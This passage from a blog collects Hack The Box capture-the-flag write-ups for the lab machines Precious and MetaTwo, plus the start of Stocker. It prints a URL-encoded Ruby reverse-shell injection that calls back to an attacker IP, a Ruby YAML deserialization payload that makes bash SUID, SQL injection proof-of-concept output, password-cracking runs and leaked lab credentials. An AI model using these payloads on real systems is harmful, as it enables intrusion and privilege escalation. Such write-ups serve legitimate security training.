\u0026#39;Connection: keep-alive\u0026#39; -H \u0026#39;Referer: http://precious.htb\u0026#39; -H \u0026#39;Upgrade-Insecure-Requests: 1\u0026#39; --data-raw \u0026#39;url=http%3A%2F%2F10.10.16.9%3A1337%2F%3Fname%3D%2520%60+ruby+-rsocket+-e%27spawn%28%22sh%22%2C%5B%3Ain%2C%3Aout%2C%3Aerr%5D%3D%3ETCPSocket.new%28%2210.10.16.9%22%2C1337%29%29%27%60\u0026#39; Shell acquired.\nprivesc (ruby -\u0026gt; henry) As ruby, I was unable to read user.txt. So I began looking at ways to privesc. First file I found that was useful was Gemfile.lock.\nfile: Gemfile.lock\nGEM remote: http://rubygems.org/ specs: mustermann (3.0.0) ruby2_keywords (~\u0026gt; 0.0.1) pdfkit (0.8.6) rack (2.2.4) rack-protection (3.0.0) rack require_all (3.0.0) ruby2_keywords (0.0.5) sinatra (3.0.0) mustermann (~\u0026gt; 3.0) rack (~\u0026gt; 2.2, \u0026gt;= 2.2.4) rack-protection (= 3.0.0) tilt (~\u0026gt; 2.0) tilt (2.0.11) PLATFORMS x86_64-linux DEPENDENCIES pdfkit (= 0.8.6) require_all sinatra BUNDLED WITH 2.3.22 I looked into each of these for other vulnerabilities, but found little. Eventually I found /home/ruby/.bundle/config.\nfile: config\n--- BUNDLE_HTTPS://RUBYGEMS__ORG/: \u0026#34;henry:Q3c1AqGHtoI0aXAYFH\u0026#34; privesc (henry -\u0026gt; root) linpeas Time to run linpeas.\nWithin the output, I noticed:\n╔══════════╣ Checking \u0026#39;sudo -l\u0026#39;, /etc/sudoers, and /etc/sudoers.d ╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid Matching Defaults entries for henry on precious: env_reset, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin User henry may run the following commands on precious: (root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb Although I couldn\u0026rsquo;t edit this file directly, I am still able to read it.\n# Compare installed dependencies with those specified in \u0026#34;dependencies.yml\u0026#34; require \u0026#34;yaml\u0026#34; require \u0026#39;rubygems\u0026#39; # TODO: update versions automatically def update_gems() end def list_from_file YAML.load(File.read(\u0026#34;dependencies.yml\u0026#34;)) end def list_local_gems Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]} end gems_file = list_from_file gems_local = list_local_gems gems_file.each do |file_name, file_version| gems_local.each do |local_name, local_version| if(file_name == local_name) if(file_version != local_version) puts \u0026#34;Installed version differs from the one specified in file: \u0026#34; + local_name else puts \u0026#34;Installed version is equals to the one specified in file: \u0026#34; + local_name end end end end After some digging, I found this Ruby Deserialization payload for ruby 2.x - 3.x.\nmalicious dependencies.yml\n--- - !ruby/object:Gem::Installer i: x - !ruby/object:Gem::SpecFetcher i: y - !ruby/object:Gem::Requirement requirements: !ruby/object:Gem::Package::TarReader io: \u0026amp;1 !ruby/object:Net::BufferedIO io: \u0026amp;1 !ruby/object:Gem::Package::TarReader::Entry read: 0 header: \u0026#34;abc\u0026#34; debug_output: \u0026amp;1 !ruby/object:Net::WriteAdapter socket: \u0026amp;1 !ruby/object:Gem::RequestSet sets: !ruby/object:Net::WriteAdapter socket: !ruby/module \u0026#39;Kernel\u0026#39; method_id: :system git_set: chmod +s /bin/bash method_id: :resolve This payload will give /bin/bash the SETUID bit which will allow henry to become root after running /bin/bash -p. Now to execute this payload\u0026hellip;\nsudo /usr/bin/ruby /opt/update_dependencies.rb The rest is cake.\nFlags user.txt: 93e80c871eea9adf9a0c904eb544fe60\nroot.txt 605e512e74cf708988d7fd7539e10d1f\n","permalink":"https://woadey.github.io/posts/htb/easy/precious/","summary":"Writeup for Hack The Box – \u003ca href=\"https://app.hackthebox.com/machines/513\"\n title=\"Precious\" \n target=\"_blank\" rel=\"nofollow noopener\"\u003ePrecious\u003c/a\u003e","title":"HTB Writeup: Precious"},{"content":"nmap 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 # Nmap 7.92 scan initiated Sun Apr 2 17:01:38 2023 as: nmap -sC -sV -oA nmap/metatwo -T4 10.10.11.186 Nmap scan report for 10.10.11.186 Host is up (0.012s latency). Not shown: 997 closed tcp ports (reset) PORT STATE SERVICE VERSION 21/tcp open ftp | fingerprint-strings: | GenericLines: | 220 ProFTPD Server (Debian) [::ffff:10.10.11.186] | Invalid command: try being more creative |_ Invalid command: try being more creative 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0) | ssh-hostkey: | 3072 c4:b4:46:17:d2:10:2d:8f:ec:1d:c9:27:fe:cd:79:ee (RSA) | 256 2a:ea:2f:cb:23:e8:c5:29:40:9c:ab:86:6d:cd:44:11 (ECDSA) |_ 256 fd:78:c0:b0:e2:20:16:fa:05:0d:eb:d8:3f:12:a4:ab (ED25519) 80/tcp open http nginx 1.18.0 |_http-title: Did not follow redirect to http://metapress.htb/ |_http-server-header: nginx/1.18.0 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port21-TCP:V=7.92%I=7%D=4/2%Time=6429ED3E%P=x86_64-pc-linux-gnu%r(Gener SF:icLines,8F,\u0026#34;220\\x20ProFTPD\\x20Server\\x20\\(Debian\\)\\x20\\[::ffff:10\\.10\\. SF:11\\.186\\]\\r\\n500\\x20Invalid\\x20command:\\x20try\\x20being\\x20more\\x20crea SF:tive\\r\\n500\\x20Invalid\\x20command:\\x20try\\x20being\\x20more\\x20creative\\ SF:r\\n\u0026#34;); Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sun Apr 2 17:02:46 2023 -- 1 IP address (1 host up) scanned in 68.09 seconds gobuster 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 ┌──(kali㉿kali)-[~/htb/metatwo] └─$ gobuster dir -u http://metapress.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -o dir.out -z =============================================================== Gobuster v3.2.0-dev by OJ Reeves (@TheColonial) \u0026amp; Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://metapress.htb [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.2.0-dev [+] Timeout: 10s =============================================================== 2023/04/02 17:06:29 Starting gobuster in directory enumeration mode =============================================================== /admin (Status: 302) [Size: 0] [--\u0026gt; http://metapress.htb/wp-admin/] /login (Status: 302) [Size: 0] [--\u0026gt; http://metapress.htb/wp-login.php] /s (Status: 301) [Size: 0] [--\u0026gt; http://metapress.htb/sample-page/] /a (Status: 301) [Size: 0] [--\u0026gt; http://metapress.htb/about-us/] /t (Status: 301) [Size: 0] [--\u0026gt; http://metapress.htb/thank-you/] /rss (Status: 301) [Size: 0] [--\u0026gt; http://metapress.htb/feed/] /ca (Status: 301) [Size: 0] [--\u0026gt; http://metapress.htb/cancel-appointment/] /events (Status: 301) [Size: 0] [--\u0026gt; http://metapress.htb/events/] /e (Status: 301) [Size: 0] [--\u0026gt; http://metapress.htb/events/] /event (Status: 301) [Size: 0] [--\u0026gt; http://metapress.htb/events/] /c (Status: 301) [Size: 0] [--\u0026gt; http://metapress.htb/cancel-appointment/] /dashboard (Status: 302) [Size: 0] [--\u0026gt; http://metapress.htb/wp-admin/] /sa (Status: 301) [Size: 0] [--\u0026gt; http://metapress.htb/sample-page/] /sam (Status: 301) [Size: 0] [--\u0026gt; http://metapress.htb/sample-page/] /about (Status: 301) [Size: 0] [--\u0026gt; http://metapress.htb/about-us/] /feed (Status: 301) [Size: 0] [--\u0026gt; http://metapress.htb/feed/] /h (Status: 301) [Size: 0] [--\u0026gt; http://metapress.htb/hello-world/] /th (Status: 301) [Size: 0] [--\u0026gt; http://metapress.htb/thank-you/] /sample (Status: 301) [Size: 0] [--\u0026gt; http://metapress.htb/sample-page/] /ab (Status: 301) [Size: 0] [--\u0026gt; http://metapress.htb/about-us/] /atom (Status: 301) [Size: 0] [--\u0026gt; http://metapress.htb/feed/atom/] /abo (Status: 301) [Size: 0] [--\u0026gt; http://metapress.htb/about-us/] /eve (Status: 301) [Size: 0] [--\u0026gt; http://metapress.htb/events/] /hello (Status: 301) [Size: 0] [--\u0026gt; http://metapress.htb/hello-world/] /ev (Status: 301) [Size: 0] [--\u0026gt; http://metapress.htb/events/] /can (Status: 301) [Size: 0] [--\u0026gt; http://metapress.htb/cancel-appointment/] /samp (Status: 301) [Size: 0] [--\u0026gt; http://metapress.htb/sample-page/] /he (Status: 301) [Size: 0] [--\u0026gt; http://metapress.htb/hello-world/] =============================================================== 2023/04/02 17:09:29 Finished =============================================================== searchsploit Wappalyzer gave me this list which I searched in searchploit:\nWordpress 5.6.2 Moment.js 2.29.1 Vue.js 2.6.12 Axios core-js 2.6.11 jQuery 3.5.1 jQuery Migrate 3.3.2 Underscore.js 1.8.3 None of these proved useful.\natom Found this weird file from /atom:\n\u0026lt;?xml version=\u0026#34;1.0\u0026#34; encoding=\u0026#34;UTF-8\u0026#34;?\u0026gt;\u0026lt;feed xmlns=\u0026#34;http://www.w3.org/2005/Atom\u0026#34; xmlns:thr=\u0026#34;http://purl.org/syndication/thread/1.0\u0026#34; xml:lang=\u0026#34;en-US\u0026#34; xml:base=\u0026#34;http://metapress.htb/wp-atom.php\u0026#34; \u0026lt;title type=\u0026#34;text\u0026#34;\u0026gt;MetaPress\u0026lt;/title\u0026gt; \u0026lt;subtitle type=\u0026#34;text\u0026#34;\u0026gt;Official company site\u0026lt;/subtitle\u0026gt; \u0026lt;updated\u0026gt;2022-06-23T18:05:43Z\u0026lt;/updated\u0026gt; \u0026lt;link rel=\u0026#34;alternate\u0026#34; type=\u0026#34;text/html\u0026#34; href=\u0026#34;http://metapress.htb\u0026#34; /\u0026gt; \u0026lt;id\u0026gt;http://metapress.htb/feed/atom/\u0026lt;/id\u0026gt; \u0026lt;link rel=\u0026#34;self\u0026#34; type=\u0026#34;application/atom+xml\u0026#34; href=\u0026#34;http://metapress.htb/feed/atom/\u0026#34; /\u0026gt; \u0026lt;generator uri=\u0026#34;https://wordpress.org/\u0026#34; version=\u0026#34;5.6.2\u0026#34;\u0026gt;WordPress\u0026lt;/generator\u0026gt; \u0026lt;entry\u0026gt; \u0026lt;author\u0026gt; \u0026lt;name\u0026gt;admin\u0026lt;/name\u0026gt; \u0026lt;uri\u0026gt;http://metapress.htb\u0026lt;/uri\u0026gt; \u0026lt;/author\u0026gt; \u0026lt;title type=\u0026#34;html\u0026#34;\u0026gt;\u0026lt;![CDATA[Welcome on board!]]\u0026gt;\u0026lt;/title\u0026gt; \u0026lt;link rel=\u0026#34;alternate\u0026#34; type=\u0026#34;text/html\u0026#34; href=\u0026#34;http://metapress.htb/hello-world/\u0026#34; /\u0026gt; \u0026lt;id\u0026gt;http://metapress.htb/?p=1\u0026lt;/id\u0026gt; \u0026lt;updated\u0026gt;2022-06-23T18:05:43Z\u0026lt;/updated\u0026gt; \u0026lt;published\u0026gt;2022-06-23T17:58:30Z\u0026lt;/published\u0026gt; \u0026lt;category scheme=\u0026#34;http://metapress.htb\u0026#34; term=\u0026#34;News\u0026#34; /\u0026gt; \u0026lt;summary type=\u0026#34;html\u0026#34;\u0026gt;\u0026lt;![CDATA[\u0026lt;!-- wp:paragraph --\u0026gt; \u0026lt;p\u0026gt;This site will be launched soon.\u0026lt;br\u0026gt;In the meanwhile you can signup to our launch event.\u0026lt;/p\u0026gt; \u0026lt;!-- /wp:paragraph --\u0026gt; \u0026lt;!-- wp:paragraph --\u0026gt; \u0026lt;p\u0026gt;Be sure to do it from here:\u0026lt;br\u0026gt;\u0026lt;a href=\u0026#34;http://metapress.htb/events/\u0026#34;\u0026gt;http://metapress.htb/events/\u0026lt;/a\u0026gt;\u0026lt;/p\u0026gt; \u0026lt;!-- /wp:paragraph --\u0026gt;]]\u0026gt;\u0026lt;/summary\u0026gt; \u0026lt;content type=\u0026#34;html\u0026#34; xml:base=\u0026#34;http://metapress.htb/hello-world/\u0026#34;\u0026gt;\u0026lt;![CDATA[ \u0026lt;p\u0026gt;This site will be launched soon.\u0026lt;br\u0026gt;In the meanwhile you can signup to our launch event.\u0026lt;/p\u0026gt; \u0026lt;p\u0026gt;Be sure to do it from here:\u0026lt;br\u0026gt;\u0026lt;a href=\u0026#34;http://metapress.htb/events/\u0026#34;\u0026gt;http://metapress.htb/events/\u0026lt;/a\u0026gt;\u0026lt;/p\u0026gt; ]]\u0026gt;\u0026lt;/content\u0026gt; \u0026lt;/entry\u0026gt; \u0026lt;/feed\u0026gt; This tells me admin is the author so likely the /login page also uses admin. Nothing else really.\nburpsuite I then used burp to start going through the site. I noticed the http://metapress.htb/?p=1 page convention, so I ran the Intruder to iterate from 1-1000 to see if anything interesting came up. Nothing here.\nBefore I did that, I noticed the booking an event feature. Since there were a lot of components to this, it seemed like something could be vulnerable here.\nThe event feature is uses the bookingpress-appointment-booking plugin as shown in the site map within burp.\nTo view more on the plugin, I visited http://metapress.htb/wp-content/plugins/bookingpress-appointment-booking/readme.txt. Here we can see the version in use is 1.0.10\nA quick google search shows: BookingPress \u0026lt; 1.0.11 - SQL Injection\nCVE-2022-0739 Since searchploit didn\u0026rsquo;t have anything that matched, I instead found a POC online.\nThis gave the pretty output of:\n░█████╗░██╗░░░██╗███████╗░░░░░░██████╗░░█████╗░██████╗░██████╗░░░░░░░░█████╗░███████╗██████╗░░█████╗░ ██╔══██╗██║░░░██║██╔════╝░░░░░░╚════██╗██╔══██╗╚════██╗╚════██╗░░░░░░██╔══██╗╚════██║╚════██╗██╔══██╗ ██║░░╚═╝╚██╗░██╔╝█████╗░░█████╗░░███╔═╝██║░░██║░░███╔═╝░░███╔═╝█████╗██║░░██║░░░░██╔╝░█████╔╝╚██████║ ██║░░██╗░╚████╔╝░██╔══╝░░╚════╝██╔══╝░░██║░░██║██╔══╝░░██╔══╝░░╚════╝██║░░██║░░░██╔╝░░╚═══██╗░╚═══██║ ╚█████╔╝░░╚██╔╝░░███████╗░░░░░░███████╗╚█████╔╝███████╗███████╗░░░░░░╚█████╔╝░░██╔╝░░██████╔╝░█████╔╝ ░╚════╝░░░░╚═╝░░░╚══════╝░░░░░░╚══════╝░╚════╝░╚══════╝╚══════╝░░░░░░░╚════╝░░░╚═╝░░░╚═════╝░░╚════╝░ PoC for CVE-2022-0739 - Wordpress BookingPresss Plugin Version \u0026lt; 1.0.11 [*] Requesting: http://metapress.htb/events/ [*] Got Page. Title: \u0026#39;Events \u0026amp;#8211; MetaPress\u0026#39; [+] Vulnerable version detected: 1.0.10 [+] Got Nonce: e7a1da68e4 [+] Got AJAX URL: http://metapress.htb/wp-admin/admin-ajax.php [*] Fetching Target Info... [*] Running Data Query: SELECT VERSION(),@@version_comment,@@version_compile_os,0,USER(),DATABASE(),7,8,9 [+] Target Info: [+] Version : 10.5.15-MariaDB-0+deb11u1 [+] Version Comment : Debian 11 [+] Compile OS : debian-linux-gnu [+] Database : blog@localhost [+] User : blog [*] Leaking Wordpress Credentials... [*] Running Data Query: SELECT COUNT(*),2,3,4,5,6,7,8,9 FROM wp_users [+] User Count: 2 [*] Running Data Query: SELECT user_login,user_email,user_pass,4,5,6,7,8,9 FROM wp_users LIMIT 1 OFFSET 0 [*] Running Data Query: SELECT user_login,user_email,user_pass,4,5,6,7,8,9 FROM wp_users LIMIT 1 OFFSET 1 ┏━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓ ┃ Username ┃ Email ┃ Password Hash ┃ ┡━━━━━━━━━━╇━━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┩ │ admin │ admin@metapress.htb │ $P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV. │ │ manager │ manager@metapress.htb │ $P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70 │ └──────────┴───────────────────────┴────────────────────────────────────┘ john the ripper john allowed me to crack one of these hashes.\nfile: hashes.txt\nadmin:$P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV. manager:$P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70 ┌──(kali㉿kali)-[~/htb/metatwo] └─$ john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt Using default input encoding: UTF-8 Loaded 2 password hashes with 2 different salts (phpass [phpass ($P$ or $H$) 128/128 AVX 4x3]) Cost 1 (iteration count) is 8192 for all loaded hashes Will run 4 OpenMP threads Press \u0026#39;q\u0026#39; or Ctrl-C to abort, almost any other key for status partylikearockstar (manager) This let me login to metapress.htb/login.\nCVE-2021-29447 I realized right away there must be something a malicious file to upload in order to get a shell or leak some data. I tried crafting several PHP reverse shells with the magic bytes of a PNG to pass Wordpress\u0026rsquo;s file check, but these all failed. Eventually, I found CVE-2021-29447.\nDecoded gives:\nroot:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin messagebus:x:103:109::/nonexistent:/usr/sbin/nologin sshd:x:104:65534::/run/sshd:/usr/sbin/nologin jnelson:x:1000:1000:jnelson,,,:/home/jnelson:/bin/bash systemd-timesync:x:999:999:systemd Time Synchronization:/:/usr/sbin/nologin systemd-coredump:x:998:998:systemd Core Dumper:/:/usr/sbin/nologin mysql:x:105:111:MySQL Server,,,:/nonexistent:/bin/false proftpd:x:106:65534::/run/proftpd:/usr/sbin/nologin ftp:x:107:65534::/srv/ftp:/usr/sbin/nologin Repeat for /etc/nginx/sites-enabled/default\nserver { listen 80; listen [::]:80; root /var/www/metapress.htb/blog; index index.php index.html; if ($http_host != \u0026#34;metapress.htb\u0026#34;) { rewrite ^ http://metapress.htb/; } location / { try_files $uri $uri/ /index.php?$args; } location ~ \\.php$ { include snippets/fastcgi-php.conf; fastcgi_pass unix:/var/run/php/php8.0-fpm.sock; } location ~* \\.(js|css|png|jpg|jpeg|gif|ico|svg)$ { expires max; log_not_found off; } } Repeat for /var/www/metapress.htb/blog/wp-config.php\n\u0026lt;?php /** The name of the database for WordPress */ define( \u0026#39;DB_NAME\u0026#39;, \u0026#39;blog\u0026#39; ); /** MySQL database username */ define( \u0026#39;DB_USER\u0026#39;, \u0026#39;blog\u0026#39; ); /** MySQL database password */ define( \u0026#39;DB_PASSWORD\u0026#39;, \u0026#39;635Aq@TdqrCwXFUZ\u0026#39; ); /** MySQL hostname */ define( \u0026#39;DB_HOST\u0026#39;, \u0026#39;localhost\u0026#39; ); /** Database Charset to use in creating database tables. */ define( \u0026#39;DB_CHARSET\u0026#39;, \u0026#39;utf8mb4\u0026#39; ); /** The Database Collate type. Don\u0026#39;t change this if in doubt. */ define( \u0026#39;DB_COLLATE\u0026#39;, \u0026#39;\u0026#39; ); define( \u0026#39;FS_METHOD\u0026#39;, \u0026#39;ftpext\u0026#39; ); define( \u0026#39;FTP_USER\u0026#39;, \u0026#39;metapress.htb\u0026#39; ); define( \u0026#39;FTP_PASS\u0026#39;, \u0026#39;9NYS_ii@FyL_p5M2NvJ\u0026#39; ); define( \u0026#39;FTP_HOST\u0026#39;, \u0026#39;ftp.metapress.htb\u0026#39; ); define( \u0026#39;FTP_BASE\u0026#39;, \u0026#39;blog/\u0026#39; ); define( \u0026#39;FTP_SSL\u0026#39;, false ); /**#@+ * Authentication Unique Keys and Salts. * @since 2.6.0 */ define( \u0026#39;AUTH_KEY\u0026#39;, \u0026#39;?!Z$uGO*A6xOE5x,pweP4i*z;m`|.Z:X@)QRQFXkCRyl7}`rXVG=3 n\u0026gt;+3m?.B/:\u0026#39; ); define( \u0026#39;SECURE_AUTH_KEY\u0026#39;, \u0026#39;x$i$)b0]b1cup;47`YVua/JHq%*8UA6g]0bwoEW:91EZ9h]rWlVq%IQ66pf{=]a%\u0026#39; ); define( \u0026#39;LOGGED_IN_KEY\u0026#39;, \u0026#39;J+mxCaP4z\u0026lt;g.6P^t`ziv\u0026gt;dd}EEi%48%JnRq^2MjFiitn#\u0026amp;n+HXv]||E+F~C{qKXy\u0026#39; ); define( \u0026#39;NONCE_KEY\u0026#39;, \u0026#39;SmeDr$$O0ji;^9]*`~GNe!pX@DvWb4m9Ed=Dd(.r-q{^z(F?)7mxNUg986tQO7O5\u0026#39; ); define( \u0026#39;AUTH_SALT\u0026#39;, \u0026#39;[;TBgc/,M#)d5f[H*tg50ifT?Zv.5Wx=`l@v$-vH*\u0026lt;~:0]s}d\u0026lt;\u0026amp;M;.,x0z~R\u0026gt;3!D\u0026#39; ); define( \u0026#39;SECURE_AUTH_SALT\u0026#39;, \u0026#39;\u0026gt;`VAs6!G955dJs?$O4zm`.Q;amjW^uJrk_1-dI(SjROdW[S\u0026amp;~omiH^jVC?2-I?I.\u0026#39; ); define( \u0026#39;LOGGED_IN_SALT\u0026#39;, \u0026#39;4[fS^3!=%?HIopMpkgYboy8-jl^i]Mw}Y d~N=\u0026amp;^JsI`M)FJTJEVI) N#NOidIf=\u0026#39; ); define( \u0026#39;NONCE_SALT\u0026#39;, \u0026#39;.sU\u0026amp;CQ@IRlh O;5aslY+Fq8QWheSNxd6Ve#}w!Bq,h}V9jKSkTGsv%Y451F8L=bL\u0026#39; ); /** * WordPress Database Table prefix. */ $table_prefix = \u0026#39;wp_\u0026#39;; /** * For developers: WordPress debugging mode. * @link https://wordpress.org/support/article/debugging-in-wordpress/ */ define( \u0026#39;WP_DEBUG\u0026#39;, false ); /** Absolute path to the WordPress directory. */ if ( ! defined( \u0026#39;ABSPATH\u0026#39; ) ) { define( \u0026#39;ABSPATH\u0026#39;, __DIR__ . \u0026#39;/\u0026#39; ); } /** Sets up WordPress vars and included files. */ require_once ABSPATH . \u0026#39;wp-settings.php\u0026#39;; ftp config.php leaked ftp creds!\nmetapress.htb | 9NYS_ii@FyL_p5M2NvJ After logging in, I pulled back mailer/send_mail.php\n\u0026lt;?php /* * This script will be used to send an email to all our users when ready for launch */ use PHPMailer\\PHPMailer\\PHPMailer; use PHPMailer\\PHPMailer\\SMTP; use PHPMailer\\PHPMailer\\Exception; require \u0026#39;PHPMailer/src/Exception.php\u0026#39;; require \u0026#39;PHPMailer/src/PHPMailer.php\u0026#39;; require \u0026#39;PHPMailer/src/SMTP.php\u0026#39;; $mail = new PHPMailer(true); $mail-\u0026gt;SMTPDebug = 3; $mail-\u0026gt;isSMTP(); $mail-\u0026gt;Host = \u0026#34;mail.metapress.htb\u0026#34;; $mail-\u0026gt;SMTPAuth = true; $mail-\u0026gt;Username = \u0026#34;jnelson@metapress.htb\u0026#34;; $mail-\u0026gt;Password = \u0026#34;Cb4_JmWM8zUZWMu@Ys\u0026#34;; $mail-\u0026gt;SMTPSecure = \u0026#34;tls\u0026#34;; $mail-\u0026gt;Port = 587; $mail-\u0026gt;From = \u0026#34;jnelson@metapress.htb\u0026#34;; $mail-\u0026gt;FromName = \u0026#34;James Nelson\u0026#34;; $mail-\u0026gt;addAddress(\u0026#34;info@metapress.htb\u0026#34;); $mail-\u0026gt;isHTML(true); $mail-\u0026gt;Subject = \u0026#34;Startup\u0026#34;; $mail-\u0026gt;Body = \u0026#34;\u0026lt;i\u0026gt;We just started our new blog metapress.htb!\u0026lt;/i\u0026gt;\u0026#34;; try { $mail-\u0026gt;send(); echo \u0026#34;Message has been sent successfully\u0026#34;; } catch (Exception $e) { echo \u0026#34;Mailer Error: \u0026#34; . $mail-\u0026gt;ErrorInfo; } This leaked more creds:\njnelson@metapress.htb | Cb4_JmWM8zUZWMu@Ys ssh Got access.\n┌──(kali㉿kali)-[~/htb/metatwo/files] └─$ ssh jnelson@metapress.htb The authenticity of host \u0026#39;metapress.htb (10.10.11.186)\u0026#39; can\u0026#39;t be established. ED25519 key fingerprint is SHA256:0PexEedxcuaYF8COLPS2yzCpWaxg8+gsT1BRIpx/OSY. This key is not known by any other names Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added \u0026#39;metapress.htb\u0026#39; (ED25519) to the list of known hosts. jnelson@metapress.htb\u0026#39;s password: Linux meta2 5.10.0-19-amd64 #1 SMP Debian 5.10.149-2 (2022-10-21) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Tue Oct 25 12:51:26 2022 from 10.10.14.23 jnelson@meta2:~$ privesc Time for linpeas.sh\nAfter going through the output, passpie stood out so I dug deeper. .keys contained a private PGP key which can be cracked.\n┌──(kali㉿kali)-[~/htb/metatwo/files] └─$ john pgp_key.john --wordlist=/usr/share/wordlists/rockyou.txt Using default input encoding: UTF-8 Loaded 1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64]) Cost 1 (s2k-count) is 65011712 for all loaded hashes Cost 2 (hash algorithm [1:MD5 2:SHA1 3:RIPEMD160 8:SHA256 9:SHA384 10:SHA512 11:SHA224]) is 2 for all loaded hashes Cost 3 (cipher algorithm [1:IDEA 2:3DES 3:CAST5 4:Blowfish 7:AES128 8:AES192 9:AES256 10:Twofish 11:Camellia128 12:Camellia192 13:Camellia256]) is 7 for all loaded hashes Will run 4 OpenMP threads Press \u0026#39;q\u0026#39; or Ctrl-C to abort, almost any other key for status blink182 (Passpie) 1g 0:00:00:02 DONE (2023-04-02 19:46) 0.3558g/s 58.36p/s 58.36c/s 58.36C/s ginger..blink182 Use the \u0026#34;--show\u0026#34; option to display all of the cracked passwords reliably Session completed. Bingo. Then I exported the passwords using blink182 as the passpie password. root creds:\nroot@metapress.htb | p7qfAZt4_A1xo_0x sudo su and fin.\nFlags user.txt: 2fadc82095d4e145a7c71cc4da489444\nroot.txt: 8ea17c71fe42773c642f7371dfdfe4c0\n","permalink":"https://woadey.github.io/posts/htb/easy/metatwo/","summary":"Writeup for Hack The Box – \u003ca href=\"https://app.hackthebox.com/machines/504\"\n title=\"MetaTwo\" \n target=\"_blank\" rel=\"nofollow noopener\"\u003eMetaTwo\u003c/a\u003e","title":"HTB Writeup: MetaTwo"},{"content":"nmap 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 # Nmap 7.92 scan initiated Sat Apr 1 22:24:49 2023 as: nmap -sC -sV -oA nmap/stocker -T4 10.10.11.196 Nmap scan report for 10.10.11.196 Host is up (0.013s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 3d:12:97:1d:86:bc:16:16:83:60:8f:4f:06:e6:d5:4e (RSA) | 256 7c:4d:1a:78:68:ce:12:00:df:49:10:37:f9:ad:17:4f (ECDSA) |_ 256 dd:97:80:50:a5:ba:cd:7d:55:e8:27:ed:28:fd:aa:3b (ED25519) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-title: Did not follow redirect to http://stocker.htb |_http-server-header: nginx/1.18.0 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sat Apr 1 22:24:57 2023 -- 1 IP address (1 host up) scanned in 7.90 seconds searchsploit Right away, I looked into the nginx version and ssh version.\nThen I added stocker.htn to /etc/hosts/ and checked the website. Wappalyzer (browser extension) showed the site uses Eleventy and the template is website template is stride. I also looked these up in searchsploit. Nothing seemed too promising.\ngobuster Then I decided to use gobuster to see if it gave any interesting subdirectories or vhosts.\nsubdirectory enumeration:\n┌──(kali㉿kali)-[~/htb/stocker] └─$ gobuster dir -u http://stocker.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000. txt -z -o gobuster.out =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) \u0026amp; Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://stocker.htb [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.1.0 [+] Timeout: 10s =============================================================== 2023/04/01 22:33:42 Starting gobuster in directory enumeration mode =============================================================== /img (Status: 301) [Size: 178] 